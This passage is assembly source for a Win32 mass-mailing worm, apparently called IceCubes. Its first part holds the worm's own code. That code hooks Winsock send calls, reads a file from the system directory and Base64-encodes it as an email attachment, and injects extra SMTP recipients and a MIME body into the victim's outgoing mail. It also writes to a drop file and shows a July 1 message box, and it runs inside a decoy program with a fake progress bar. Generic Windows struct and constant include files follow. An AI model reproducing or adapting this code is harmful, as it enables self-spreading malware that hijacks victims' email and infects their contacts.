mov [ebp + fromstatus], 00h
jmp Continue
Continue:
popad
lea eax, [ebp + InterceptWsockApiCall] ; get ep va
sub eax, dword ptr [ebp + wnewapiaddress] ; - ep RVA
add eax, dword ptr [ebp + woldapiaddress] ; = imagebase
pop ebp
jmp eax
INTERCEPT_WSOCK endp
;========================[ ic-ws_attachment.inc ]===========================;
PREPARE_ATTACHMENT proc
SetSysDir:
call SET_SYSDIR
OpenSourceFile:
push 0
push 0
push 3
push 0
push 0
push 80000000h
lea eax, [ebp + wsock2]
push eax
lea eax, [ebp + ACreateFile]
call GETAPI
mov [ebp + filehandle], eax ; save file handle
cmp eax, -1
je NoBase64Encode
GetSourceFileSize:
push 00h
push dword ptr [ebp + filehandle]
lea eax, [ebp + AGetFileSize]
call GETAPI
or eax, eax
jz NoBase64Encode
mov [ebp + filesize], eax ; get file size
AllocateSourceMemory:
add eax, 02h
push eax
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI
or eax, eax
jz NoBase64Encode ; not enough memory?
mov [ebp + smHnd], eax ; sourcememory handle
AllocateDestinationMemory:
mov eax, [ebp + filesize]
xor edx, edx
mov ecx, 02h
mul ecx
push eax
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI
or eax, eax
jz NoBase64Encode ; not enough memory?
mov [ebp + dmHnd], eax ; destinationmemory handle
ReadSourceFile:
mov [ebp + bytesread], 00h
push 00h
lea eax, [ebp + bytesread]
push eax
push [ebp + filesize]
push dword ptr [ebp + smHnd]
push dword ptr [ebp + filehandle]
lea eax, [ebp + AReadFile]
call GETAPI
mov eax, dword ptr [ebp + bytesread]
or eax, eax
jz NoBase64Encode ; nothing read ?
CloseSourceFile:
push dword ptr [ebp + filehandle] ; close the file
lea eax, [ebp + ACloseHandle]
call GETAPI
EncodeSourceData:
mov eax, dword ptr [ebp + smHnd]
mov edx, dword ptr [ebp + dmHnd]
mov ecx, dword ptr [ebp + filesize]
call BASE64_ENCODER ; encode into Base64
mov [ebp + encodedsize], ecx
NoBase64Encode:
ret
PREPARE_ATTACHMENT endp
;=========================[ ic-ws_b64encoder.inc ]==========================;
BASE64_ENCODER proc
; in: eax address of data to encode
; edx address to put encoded data
; ecx size of data to encode
;
; out: ecx size of encoded data
;
CheckFileSize:
push eax
push edx
push ecx
mov eax, ecx
xor edx, edx
mov ecx, 03h
div ecx
pop ecx
or edx, edx
jz EncodeBase64
AddTwoBytes:
cmp edx, 01h
jne AddOneByte
add ecx, 02h
jmp EncodeBase64
AddOneByte:
add ecx, 01h
EncodeBase64:
pop edx
pop eax
xor esi, esi
lea edi, [ebp + encTable]
push ebp
xor ebp, ebp
BaseLoop:
xor ebx, ebx
mov bl, byte ptr [eax]
shr bl, 2
and bl, 00111111b
mov bh, byte ptr [edi+ebx]
mov byte ptr [edx+esi], bh
inc esi
mov bx, word ptr [eax]
xchg bl, bh
shr bx, 4
xor bh, bh
and bl, 00111111b
mov bh, byte ptr [edi+ebx]
mov byte ptr [edx+esi], bh
inc esi
inc eax
mov bx,word ptr [eax]
xchg bl, bh
shr bx, 6
xor bh, bh
and bl, 00111111b
mov bh, byte ptr [edi+ebx]
mov byte ptr [edx+esi], bh
inc esi
inc eax
xor ebx, ebx
mov bl, byte ptr [eax]
and bl, 00111111b
mov bh, byte ptr [edi+ebx]
mov byte ptr [edx+esi], bh
inc esi
inc eax
inc ebp
cmp ebp, 24
ja AddEndOfLine
inc ebp
AddedEndOfLine:
sub ecx, 3
or ecx, ecx
jnz BaseLoop
mov word ptr [edx+esi], 0a0dh
add esi, 2
mov ecx, esi
pop ebp
ret
AddEndOfLine:
xor ebp, ebp
mov word ptr [edx+esi], 0a0dh
add esi, 2
jmp AddedEndOfLine
BASE64_ENCODER endp
;=======================[ ic-ws_write_to_file.inc ]=========================;
WRITE_TO_FILE proc
StoreBuffer:
push esi
push ecx
SetEmailDropDir:
call SET_WINDIR
CreateEmailDrop:
push 0 ; template handle=0
push 20h ; attributes=any file
push 04h ; type= existing file
push 0 ; security option = 0
push 1 ; shared for read
push 80000000h or 40000000h ; generic read write
lea eax, [ebp + passwordfile]
push eax ; offset file name
lea eax, [ebp + ACreateFile]
call GETAPI
mov [ebp + filehandle], eax ; save file handle
cmp eax, -1
je BufferError
SetDropPointer:
push 2
push 0
push 0
push dword ptr [ebp + filehandle] ; filehandle
lea eax, [ebp + ASetFilePointer]
call GETAPI
pop ecx
pop esi
WriteBuffer:
push 0h
lea eax, [ebp + writtenbytes]
push eax
push ecx ; push buffersize
push esi ; push offset buffer
push dword ptr [ebp + filehandle]
lea eax, [ebp + AWriteFile]
call GETAPI
CloseBufferFile:
push dword ptr [ebp + filehandle]
lea eax, [ebp + ACloseHandle]
call GETAPI
ret
BufferError:
pop ecx
pop esi
ret
WRITE_TO_FILE endp
;============================[ ic-send_mail.inc ]============================;
SEND_MAIL proc
GetAllApiAddresses:
call GET_WSOCK32_BASE_ADDRESS
call GET_USER32_BASE_ADDRESS
call PREPARE_ATTACHMENT
mov eax, [ebp + filehandle]
cmp eax, -1 ; attachment error
je SendError
AllocateEmailBufferMemory:
mov eax, [ebp + encodedsize]
mov ecx, 02h
mul ecx
push eax
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI
or eax, eax
jz SendError ; mem for email
mov [ebp + email_buffer_address], eax ; buffer
SendMailFromTag:
mov eax, dword ptr [ebp + fromaddress]
mov ecx, dword ptr [ebp + fromsize]
call SendCommand
call ReceiveReply
SendRcptToTags:
xor ecx, ecx
mov [ebp + totalrcptsize], 00h
RcptSendLoop:
push ecx
mov edi, [ebp + rcpt_size_address]
mov eax, ecx
mov edx, 04h
mul edx
add edi, eax
mov ecx, dword ptr [edi]
mov esi, [ebp + rcpt_buffer_address]
mov eax, [ebp + totalrcptsize]
add esi, eax
pushad
mov eax, esi
call SendCommand
call ReceiveReply
popad
add eax, ecx
mov [ebp + totalrcptsize], eax
pop ecx
inc ecx
mov eax, [ebp + rcptnumber]
cmp ecx, eax
jne RcptSendLoop
SendDataCommand:
lea eax, [ebp + datatag]
mov ecx, 06h
call SendCommand
call ReceiveReply
EmailBody_EmailId:
mov [ebp + email_size], 00h
mov edi, [ebp + email_buffer_address]
lea esi, [ebp + emailid]
mov ecx, 21d
add [ebp + email_size], ecx
rep movsb
EmailBody_EmailFrom:
cmp [ebp + fromstatus], 01h
jne EmailBody_MakeEmailFrom
mov esi, [ebp + mimefrom_address]
mov ecx, [ebp + mimefromsize]
add [ebp + email_size], ecx
rep movsb
jmp EmailBody_EmailTo
EmailBody_MakeEmailFrom:
lea esi, [ebp + fromtag]
mov ecx, 05h
add [ebp + email_size], ecx
rep movsb
mov esi, dword ptr [ebp + fromaddress]
add esi, 11d
mov ecx, dword ptr [ebp + fromsize]
sub ecx, 11d
add [ebp + email_size], ecx
rep movsb
EmailBody_EmailTo:
cmp [ebp + tostatus], 01h
jne EmailBody_MakeEmailTo
mov esi, [ebp + mimeto_address]
mov ecx, [ebp + mimetosize]
add [ebp + email_size], ecx
rep movsb
jmp EmailBody_EmailStartPart
EmailBody_MakeEmailTo:
lea esi, [ebp + totag]
mov ecx, 03h
add [ebp + email_size], ecx
rep movsb
xor ecx, ecx
mov [ebp + totalrcptsize], 00h
RcptStringLoop:
push ecx
push edi
mov edi, [ebp + rcpt_size_address]
mov eax, ecx
mov edx, 04h
mul edx
add edi, eax
mov ecx, dword ptr [edi]
pop edi
push ecx
mov esi, [ebp + rcpt_buffer_address]
mov eax, [ebp + totalrcptsize]
add esi, eax
add esi, 08h
sub ecx, 08h
add [ebp + email_size], ecx
rep movsb
pop ecx
add eax, ecx
mov [ebp + totalrcptsize], eax
pop ecx
inc ecx
mov eax, [ebp + rcptnumber]
cmp ecx, eax
jne RcptStringLoop
EmailBody_EmailStartPart:
lea esi, [ebp + emailstart]
mov ecx, emailend-emailstart
add [ebp + email_size], ecx
rep movsb
EmailBody_EmailAttachement:
mov esi, dword ptr [ebp + dmHnd]
mov ecx, [ebp + encodedsize]
add [ebp + email_size], ecx
rep movsb
EmailBody_EmailEndPart:
lea esi, [ebp + emailtail]
mov ecx, 17d
add [ebp + email_size], ecx
rep movsb
EmailBody_EndTag:
lea esi, [ebp + endtag]
mov ecx, 05h
add [ebp + email_size], ecx
rep movsb
SendEmailBody:
mov eax, [ebp + email_buffer_address]
mov ecx, [ebp + email_size]
call SendCommand
call ReceiveReply
MessageBoxDay:
lea eax, [ebp + timedate]
push eax
lea eax, [ebp + AGetSystemTime]
call GETAPI
xor eax, eax
mov ax, word ptr [ebp + timedate.wMonth]
cmp ax, 07h
jne SendError
mov ax, word ptr [ebp + timedate.wDay]
cmp ax, 01h
jne SendError
MessageBoxPayload:
mov eax, 0040h
push eax
lea eax, [ebp + windowtitle]
push eax
lea eax, [ebp + msgmessage]
push eax
push 00h
lea eax, [ebp + AMessageBox]
call GETUAPI
SendError:
ret
;-----------------------------[ send routine ]------------------------------;
SendCommand:
push eax
push 0h
push ecx
push eax
push dword ptr [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI
cmp eax, -1
jne SendWentOk
pop eax
jmp SendCommand
SendWentOk:
pop eax
ret
;--------------------------[ receive routine ]------------------------------;
ReceiveReply:
push LARGE 0
push LARGE 60
lea eax, [ebp + recvbuffer]
push eax
push dword ptr [ebp + socketh]
lea eax, [ebp + ARecv]
call GETWAPI ; call the api
cmp eax, -1
je ReceiveReply
ret
SEND_MAIL endp
;****************************************************************************;
Leap:
.code
OriginalHost:
push 0
call GetModuleHandleA
mov hInst, eax
CreateProgressWindow:
push 00h
push offset MYDIALOG_0
push 00h
push 102
push hInst
call DialogBoxParamA
CreateMainWindow:
push 00h
push offset MYDIALOG_1
push 00h
push 103
push hInst
call DialogBoxParamA
Leave:
push 0
call ExitProcess
;============================[ ic-host_code.inc ]============================;
MYDIALOG_0 proc handle, umsg, wparam, lparam: dword
CheckParameter:
cmp [umsg], WM_INITDIALOG
je CenterDlg
cmp [umsg], WM_DESTROY
je Exit
cmp [umsg], WM_CLOSE
je Exit
cmp flag, 01h
je CreateProgressThread
cmp flag, 02h
je Exit
xor eax, eax
ret
CenterDlg:
push offset dlgrect
push handle
call GetWindowRect
call GetDesktopWindow
push offset desktoprect
push eax
call GetWindowRect
push 00h
mov eax, dlgrect.rcBottom
sub eax, dlgrect.rcTop
mov dlgheight, eax
push eax ; height
mov eax, dlgrect.rcRight
sub eax, dlgrect.rcLeft
mov dlgwidth, eax ; width
push eax
mov eax, desktoprect.rcBottom
sub eax, dlgheight
shr eax, 1
push eax ; bottom
mov eax, desktoprect.rcRight
sub eax, dlgwidth
shr eax, 1
push eax ; top
push handle ; handle
call MoveWindow ; move to center
mov flag, 01h
xor eax, eax
ret
CreateProgressThread:
push offset threadid
push 00h
push handle
push offset PROGRESS
push 00h
push 00h
call CreateThread
mov flag, 00h
xor eax, eax
ret
Exit:
push wparam
push handle
call EndDialog
mov eax, 01h
ret
MYDIALOG_0 endp
MYDIALOG_1 proc handle, umsg, wparam, lparam: dword
CheckParameter1:
cmp [umsg], WM_INITDIALOG
je CenterDlg1
cmp [umsg], WM_DESTROY
je Exit1
cmp [umsg], WM_CLOSE
je Exit1
cmp [umsg], WM_COMMAND
je CheckCommand
cmp [umsg], WM_VSCROLL
je SpinButtonClick
cmp initflag, 01h
je InitValues
xor eax, eax
ret
CheckCommand:
cmp [wparam], 1009
je Exit
cmp [wparam], 1014
je SetOkFlag
xor eax, eax
ret
SpinButtonClick:
xor eax, eax
mov ecx, [wparam]
rol ecx, 16
mov ax, cx
mov ecx, pastvalue
cmp ecx, eax
jge PressedUp
PressedDown:
mov pastvalue, eax
cmp doneflag, 00h
jne Reset
cmp currentvalue, '0'
je DontDecrease
dec byte ptr currentvalue
DontDecrease:
push offset currentvalue
push 00h
push WM_SETTEXT
push 1003
push handle
call SendDlgItemMessageA
mov doneflag, 01h
xor eax, eax
ret
PressedUp:
mov pastvalue, eax
cmp currentvalue, '9'
je Reset
cmp doneflag, 00h
jne Reset
inc byte ptr currentvalue
push offset currentvalue
push 00h
push WM_SETTEXT
push 1003
push handle
call SendDlgItemMessageA
mov doneflag, 01h
xor eax, eax
ret
Reset:
mov doneflag, 00h
xor eax, eax
ret
SetOkFlag:
mov okflag, 01h
jmp Exit
CenterDlg1:
push offset dlgrect
push handle
call GetWindowRect
call GetDesktopWindow
push offset desktoprect
push eax
call GetWindowRect
push 00h
mov eax, dlgrect.rcBottom
sub eax, dlgrect.rcTop
mov dlgheight, eax
push eax ; height
mov eax, dlgrect.rcRight
sub eax, dlgrect.rcLeft
mov dlgwidth, eax ; width
push eax
mov eax, desktoprect.rcBottom
sub eax, dlgheight
shr eax, 1
push eax ; bottom
mov eax, desktoprect.rcRight
sub eax, dlgwidth
shr eax, 1
push eax ; top
push handle ; handle
call MoveWindow ; move to center
mov initflag, 01h
xor eax, eax
ret
InitValues:
mov initflag, 00h
call SendDlgItemMessageA, handle, 1004, CB_RESETCONTENT, 00h,00h
call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value11
call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value12
call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value13
call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value14
call SendDlgItemMessageA, handle, 1004, CB_SETCURSEL, 00h, 01h
call SendDlgItemMessageA, handle, 1003, WM_SETTEXT, 00h, offset currentvalue
call SendDlgItemMessageA, handle, 1005, WM_SETTEXT, 00h, offset value3
call SendDlgItemMessageA, handle, 1008, WM_SETTEXT, 00h, offset value4
call SendDlgItemMessageA, handle, 1000, 00F5h, 00h,00h
call SendDlgItemMessageA, handle, 1001, 00F5h, 00h,00h
call SendDlgItemMessageA, handle, 1006, 00F5h, 00h,00h
call SendDlgItemMessageA, handle, 1010, 00F5h, 00h,00h
call SendDlgItemMessageA, handle, 1013, 00F5h, 00h,00h
xor eax, eax
ret
Exit1:
push wparam
push handle
call EndDialog
mov eax, 01h
ret
MYDIALOG_1 endp
PROGRESS proc handle: dword
ClearProgressBar:
push 00h
push 00h
push PBM_SETPOS
push 105
push handle
call SendDlgItemMessageA
xor eax, eax
xor ecx, ecx
LittleLoop:
inc ecx
cmp ecx, 100000h
jne LittleLoop
ProgressLoop:
inc eax
push 00h
push eax
push PBM_SETPOS
push 105
push handle
call SendDlgItemMessageA
xor ecx, ecx
cmp eax, 99d
jne LittleLoop
ProgressDone:
mov flag, 02h
push threadid
call CloseHandle
ret
PROGRESS endp
;============================================================================;
end Start
end
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[ICECUBES.ASM]<EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[MYINC.INC]<EFBFBD><EFBFBD><EFBFBD>
LPVOID typedef DWORD ;long ptr to buffer
BOOL typedef DWORD ;boolean variable
HANDLE typedef DWORD ;unspecified handle
LPSTR typedef DWORD ;long ptr to string
LPBYTE typedef DWORD ;long ptr to byte
ACHAR typedef BYTE ;ansi character
CHAR textequ <ACHAR> ;ansi char type
CHAR_ equ 1 ;ansi char size
CREATE_DEFAULT_ERROR_MODE equ 04000000h
SECURITY_ATTRIBUTES_ equ 4+4+4
SECURITY_ATTRIBUTES struct
sa_nLength DWORD SECURITY_ATTRIBUTES_ ;structure size
sa_lpSecurityDescriptor LPVOID 0 ;security descriptor
sa_bInheritHandle BOOL 0 ;handle inheritance flag
SECURITY_ATTRIBUTES ends
PROCESS_INFORMATION struct
pi_hProcess HANDLE 0 ;process handle
pi_hThread HANDLE 0 ;thread handle
pi_dwProcessId DWORD 0 ;process id
pi_dwThreadId DWORD 0 ;thread id
PROCESS_INFORMATION ends
PROCESS_INFORMATION_ equ 4+4+4+4
STARTUPINFO struct
si_cb DWORD 0 ;structure size
si_lpReserved LPSTR 0 ;(reserved)
si_lpDesktop LPSTR 0 ;desktop name
sl_lpTitle LPSTR 0 ;console window title
si_dwX DWORD 0 ;window origin (column)
si_dwY DWORD 0 ;window origin (row)
si_dwXSize DWORD 0 ;window width
si_dwYSize DWORD 0 ;window height
si_dwXCountChars DWORD 0 ;screen buffer width
si_dwYCountChars DWORD 0 ;screen buffer height
si_dwFillAttribute DWORD 0 ;console window initialization
si_dwFlags DWORD 0 ;structure member flags
si_wShowWindow WORD 0 ;ShowWindow() parameter
si_cbReserved2 WORD 0 ;(reserved)
si_lpReserved2 LPBYTE 0 ;(reserved)
si_hStdInput HANDLE 0 ;standard input handle
si_hStdOutput HANDLE 0 ;standard output handle
si_hStdError HANDLE 0 ;standard error handle
STARTUPINFO ends
STARTUPINFO_ equ 4+4+4+4+4+4+4+4+4+4+4+4+2+2+4+4+4+4
SYSTEMTIME struct
wYear WORD 0 ;current year
wMonth WORD 0 ;current month (1..12)
wDayOfWeek WORD 0 ;day of week (0 = sunday)
wDay WORD 0 ;current day of the month
wHour WORD 0 ;current hour
wMinute WORD 0 ;current minute
wSecond WORD 0 ;current second
wMilliseconds WORD 0 ;current millisecond
SYSTEMTIME ends
SYSTEMTIME_ equ 2+2+2+2+2+2+2+2
;
WIN32_FIND_DATA_ equ 4+8+8+8+4+4+4+4+(260*CHAR_)+(14*CHAR_)
WIN32_FIND_DATA struct
fd_dwFileAttributes DWORD 0 ;file attributes
fd_ftCreationTime DWORD 0, 0 ;time of file creation
fd_ftLastAccessTime DWORD 0, 0 ;time of last file access
fd_ftLastWriteTime DWORD 0, 0 ;time of last write access
fd_nFileSizeHigh DWORD 0 ;high-order word of file size
fd_nFileSizeLow DWORD 0 ;low-order word of file size
fd_dwReserved0 DWORD 0 ;(reserved)
fd_dwReserved1 DWORD 0 ;(reserved)
fd_cFileName CHAR 260 dup(0) ;matching file name
fd_cAlternateFileName CHAR 14 dup(0) ;8.3 alias name
WIN32_FIND_DATA ends
;
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[MYINC.INC]<EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[WINDOWS.INC]<EFBFBD><EFBFBD><EFBFBD>
;*************************************************************************
;
; WINDOWS.INC - Windows assembly language structures & constants
;
;*************************************************************************
;
;
; C/C++ Run Time Library - Version 7.0
;
; Copyright (c) 1985, 1996 by Borland International
; All Rights Reserved.
;
;
; Conditional Block includes: (True states)
; NOTEXT - don't include TextMetric struc & text drawing modes & stock objs.
; NORASTOPS - don't include binary and ternary raster ops.
; NOVK - don't include virtual key definitions
; NOMB - don't include message box definitions
; NOWM - don't include window messages
;
;
FALSE = 0
TRUE = 1
NULL = 0
;*******************************************************************
;
; Misc EQU's
;
;*******************************************************************
SB_SETTEXTA equ WM_USER+01
SB_GETTEXTA equ WM_USER+02
SB_GETTEXTLENGTHA equ WM_USER+03
SB_SETPARTS equ WM_USER+04
SB_GETPARTS equ WM_USER+06
SB_GETBORDERS equ WM_USER+07
SB_SETMINHEIGHT equ WM_USER+08
SB_SIMPLE equ WM_USER+09
SB_GETRECT equ WM_USER+10
SB_SETTEXTW equ WM_USER+11
SB_GETTEXTLENGTHW equ WM_USER+12
SB_GETTEXTW equ WM_USER+13
GCL_MENUNAME equ -8
GCL_HBRBACKGROUND equ -10
GCL_HCURSOR equ -12
GCL_HICON equ -14
GCL_HMODULE equ -16
GCL_CBWNDEXTRA equ -18
GCL_CBCLSEXTRA equ -20
GCL_WNDPROC equ -24
GCL_STYLE equ -26
PBM_SETRANGE equ WM_USER+1
PBM_SETPOS equ WM_USER+2
PBM_DELTAPOS equ WM_USER+3
PBM_SETSTEP equ WM_USER+4
PBM_STEPIT equ WM_USER+5
ICON_SMALL equ 0
DEFAULT_PITCH equ 0
DEFAULT_QUALITY equ 0
OEM_CHARSET equ 255
CLIP_CHARACTER_PRECIS equ 1
CLIP_DEFAULT_PRECIS equ 0
OUT_DEFAULT_PRECIS equ 0
;*******************************************************************
;
; Window Class
;
;*******************************************************************
DLGWINDOWEXTRA equ 30
WNDCLASSEX STRUCT
wc_cbSize DWORD ?
wc_style DWORD ?
wc_lpfnWndProc DWORD ?
wc_cbClsExtra DWORD ?
wc_cbWndExtra DWORD ?
wc_hInstance DWORD ?
wc_hIcon DWORD ?
wc_hCursor DWORD ?
wc_hbrBackground DWORD ?
wc_lpszMenuName DWORD ?
wc_lpszClassName DWORD ?
wc_hIconSm DWORD ?
WNDCLASSEX ENDS
;*******************************************************************
;
; Message Structure
;
;*******************************************************************
MSG STRUCT
msg_hwnd DWORD ?
msg_message DWORD ?
msg_wParam DWORD ?
msg_lParam DWORD ?
msg_time DWORD ?
msg_pt QWORD ?
MSG ENDS
;*******************************************************************
;
; Open Filename Dialog
;
;*******************************************************************
OPENFILENAME STRUCT
of_lStructSize DWORD ?
of_hWndOwner DWORD ?
of_hInstance DWORD ?
of_lpstrFilter DWORD ?
of_lpstrCustomFilter DWORD ?
of_nMaxCustFilter DWORD ?
of_nFilterIndex DWORD ?
of_lpstrFile DWORD ?
of_nMaxFile DWORD ?
of_lpstrFileTitle DWORD ?
of_nMaxFileTitle DWORD ?
of_lpstrInitialDir DWORD ?
of_lpstrTitle DWORD ?
of_Flags DWORD ?
of_nFileOffset WORD ?
of_nFileExtension WORD ?
of_lpstrDefExt DWORD ?
of_lCustData DWORD ?
of_lpfnHook DWORD ?
of_lpTemplateName DWORD ?
OPENFILENAME ENDS
OFN_ALLOWMULTISELECT equ 00000200h
OFN_CREATEPROMPT equ 00002000h
OFN_ENABLEHOOK equ 00000020h
OFN_ENABLETEMPLATE equ 00000040h
OFN_ENABLETEMPLATEHANDLE equ 00000080h
OFN_EXPLORER equ 00080000h
OFN_EXTENSIONDIFFERENT equ 00000400h
OFN_FILEMUSTEXIST equ 00001000h
OFN_HIDEREADONLY equ 00000004h
OFN_LONGNAMES equ 00200000h
OFN_NOCHANGEDIR equ 00000008h
OFN_NODEREFERENCELINKS equ 00100000h
OFN_NOLONGNAMES equ 00040000h
OFN_NONETWORKBUTTON equ 00020000h
OFN_NOREADONLYRETURN equ 00008000h
OFN_NOTESTFILECREATE equ 00010000h
OFN_NOVALIDATE equ 00000100h
OFN_OVERWRITEPROMPT equ 00000002h
OFN_PATHMUSTEXIST equ 00000800h
OFN_READONLY equ 00000001h
OFN_SHAREAWARE equ 00004000h
OFN_SHOWHELP equ 00000010h
OFN_SHAREFALLTHROUGH equ 2
OFN_SHARENOWARN equ 1
OFN_SHAREWARN equ 0
;*******************************************************************
;
; List View Control
;
;*******************************************************************
LVM_GETITEM equ LVM_FIRST + 5
LVM_GETITEMW equ LVM_FIRST + 75
LVM_SETITEM equ LVM_FIRST + 6
LVM_SETITEMW equ LVM_FIRST + 76
LVM_INSERTITEM equ LVM_FIRST + 7
LVM_INSERTITEMW equ LVM_FIRST + 77
LVM_DELETEITEM equ LVM_FIRST + 8
LVM_DELETEALLITEMS equ LVM_FIRST + 9
LVM_GETCALLBACKMASK equ LVM_FIRST + 10
LVM_FIRST equ 1000h
LVM_SETCALLBACKMASK equ LVM_FIRST + 11
LVM_GETITEMRECT equ LVM_FIRST + 14
LVM_SETITEMPOSITION equ LVM_FIRST + 15
LVM_GETITEMPOSITION equ LVM_FIRST + 16
LVM_GETSTRINGWIDTH equ LVM_FIRST + 17
LVM_GETSTRINGWIDTHW equ LVM_FIRST + 87
LVCF_FMT equ 0001h
LVCF_WIDTH equ 0002h
LVCF_TEXT equ 0004h
LVCF_SUBITEM equ 0008h
LVCFMT_LEFT equ 0000h
LVCFMT_RIGHT equ 0001h
LVCFMT_CENTER equ 0002h
LVCFMT_JUSTIFYMASK equ 0003h
LVM_GETCOLUMN equ LVM_FIRST + 25
LVM_GETCOLUMNW equ LVM_FIRST + 95
LVM_SETCOLUMN equ LVM_FIRST + 26
LVM_SETCOLUMNW equ LVM_FIRST + 96
LVM_INSERTCOLUMN equ LVM_FIRST + 27
LVM_INSERTCOLUMNW equ LVM_FIRST + 97
LVM_DELETECOLUMN equ LVM_FIRST + 28
LVM_GETCOLUMNWIDTH equ LVM_FIRST + 29
LVIF_TEXT equ 0001h
LVIF_IMAGE equ 0002h
LVIF_PARAM equ 0004h
LVIF_STATE equ 0008h
LV_ITEM STRUC
lvi_imask DWORD ?
lvi_iItem DWORD ?
lvi_iSubItem DWORD ?
lvi_state DWORD ?
lvi_stateMask DWORD ?
lvi_pszText DWORD ?
lvi_cchTextMax DWORD ?
lvi_iImage DWORD ?
lvi_lParam DWORD ?
lvi_iIndent DWORD ?
LV_ITEM ENDS
LV_FINDINFO STRUC
lvfi_flags DWORD ?
lvfi_psz DWORD ?
lvfi_lParam DWORD ?
lvfi_pt QWORD ?
lvfi_vkDirection DWORD ?
LV_FINDINFO ENDS
LV_HITTESTINFO STRUC
lvht_pt QWORD ?
lvht_flags DWORD ?
lvht_iItem DWORD ?
LV_HITTESTINFO ENDS
LV_COLUMN STRUC
lvc_imask DWORD ?
lvc_fmt DWORD ?
lvc_lx DWORD ?
lvc_pszText DWORD ?
lvc_cchTextMax DWORD ?
lvc_iSubItem DWORD ?
LV_COLUMN ENDS
;*******************************************************************
;
; Rectangle
;
;*******************************************************************
RECT struc
rcLeft dd ?
rcTop dd ?
rcRight dd ?
rcBottom dd ?
RECT ends
;*******************************************************************
;
; Window Class structure
;
;*******************************************************************
WNDCLASS struc
clsStyle dw ? ; class style
clsLpfnWndProc dd ?
clsCbClsExtra dw ?
clsCbWndExtra dw ?
clsHInstance dw ? ; instance handle
clsHIcon dw ? ; class icon handle
clsHCursor dw ? ; class cursor handle
clsHbrBackground dw ? ; class background brush
clsLpszMenuName dd ? ; menu name
clsLpszClassName dd ? ; far ptr to class name
WNDCLASS ends
IFNDEF NOTEXT
TEXTMETRIC struc
tmHeight dw ?
tmAscent dw ?
tmDescent dw ?
tmIntLeading dw ?
tmExtLeading dw ?
tmAveCharWidth dw ?
tmMaxCharWidth dw ?
tmWeight dw ?
tmItalic db ?
tmUnderlined db ?
tmStruckOut db ?
tmFirstChar db ?
tmLastChar db ?
tmDefaultChar db ?
tmBreakChar db ?
tmPitch db ?
tmCharSet db ?
tmOverhang dw ?
tmAspectX dw ?
tmAspectY dw ?
TEXTMETRIC ends
LF_FACESIZE EQU 32
LOGFONT struc
lfHeight dw ?
lfWidth dw ?
lfEscapement dw ?
lfOrientation dw ?
lfWeight dw ?
lfItalic db ?
lfUnderline db ?
lfStrikeOut db ?
lfCharSet db ?
lfOutPrecision db ?
lfClipPrecision db ?
lfQuality db ?
lfPitchAndFamily db ?
lfFaceName db LF_FACESIZE dup(?)
